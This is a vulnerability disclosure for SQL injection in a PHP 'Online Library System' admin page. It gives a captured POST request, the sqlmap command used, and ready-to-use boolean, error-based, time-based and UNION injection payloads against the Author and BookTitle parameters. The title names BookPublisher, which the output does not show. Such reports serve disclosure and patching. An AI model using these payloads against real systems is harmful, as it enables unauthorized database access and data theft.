BUG_AUTHOR:LIU WEIYU

Online Library System - SQL Injection on (admin/borrowed/index.php BookPublisher/BookTitle parameter) 

Vendor Homepage:
https://www.sourcecodester.com/php/14816/online-library-system-phpmysqli-full-source-code.html

Version:V1.0

Tested on: PHP, Apache, MySQL

Affected Page:
admin/borrowed/index.php 
On this page, BookPublisher and BookTitle parameters are vulnerable to SQL Injection Attack 

Proof of vulnerability(Verify using the sqlmap tool after logining):

Request:
POST /OLS/admin/borrowed/index.php?view=filter HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 175
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=g883r0l08f296hfd9582abk9v0
Origin: http://localhost
Referer: http://localhost/OLS/admin/borrowed/index.php?view=filter
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip

Author=1&BookPublisher=1&BookTitle=1&Category=&PublishDate=1901-05-02&search=

-> sqlmap -r 1.txt(above request package) --batch

Output:
---
Parameter: Author (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: Author=-1175') OR 9785=9785#&BookPublisher=1&BookTitle=1&Category=&PublishDate=1901-05-02&search=

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: Author=1') OR (SELECT 3237 FROM(SELECT COUNT(*),CONCAT(0x71626b7a71,(SELECT (ELT(3237=3237,1))),0x71706a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- yHpP&BookPublisher=1&BookTitle=1&Category=&PublishDate=1901-05-02&search=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: Author=1') AND (SELECT 9816 FROM (SELECT(SLEEP(5)))TIjR)-- qTJa&BookPublisher=1&BookTitle=1&Category=&PublishDate=1901-05-02&search=

    Type: UNION query
    Title: MySQL UNION query (NULL) - 16 columns
    Payload: Author=1') UNION ALL SELECT NULL,NULL,CONCAT(0x71626b7a71,0x5a6e4d71425052496355486567676c6d6477597a6e696554656154446d50644b7649754c647a5a75,0x71706a7671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&BookPublisher=1&BookTitle=1&Category=&PublishDate=1901-05-02&search=
---
[14:40:04] [INFO] the back-end DBMS is MySQL
---
Parameter: BookTitle (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: Author=1&BookPublisher=1&BookTitle=-8360') OR 4832=4832#&Category=&PublishDate=1901-05-02&search=

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: Author=1&BookPublisher=1&BookTitle=1') OR (SELECT 8257 FROM(SELECT COUNT(*),CONCAT(0x71626b7a71,(SELECT (ELT(8257=8257,1))),0x71706a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- BVZI&Category=&PublishDate=1901-05-02&search=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: Author=1&BookPublisher=1&BookTitle=1') AND (SELECT 2925 FROM (SELECT(SLEEP(5)))rcAX)-- vzDQ&Category=&PublishDate=1901-05-02&search=

    Type: UNION query
    Title: MySQL UNION query (NULL) - 16 columns
    Payload: Author=1&BookPublisher=1&BookTitle=1') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71626b7a71,0x674b68496b764449474c447756667676547751514b65666d77686f516e556f72446e415355674443,0x71706a7671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&Category=&PublishDate=1901-05-02&search=
---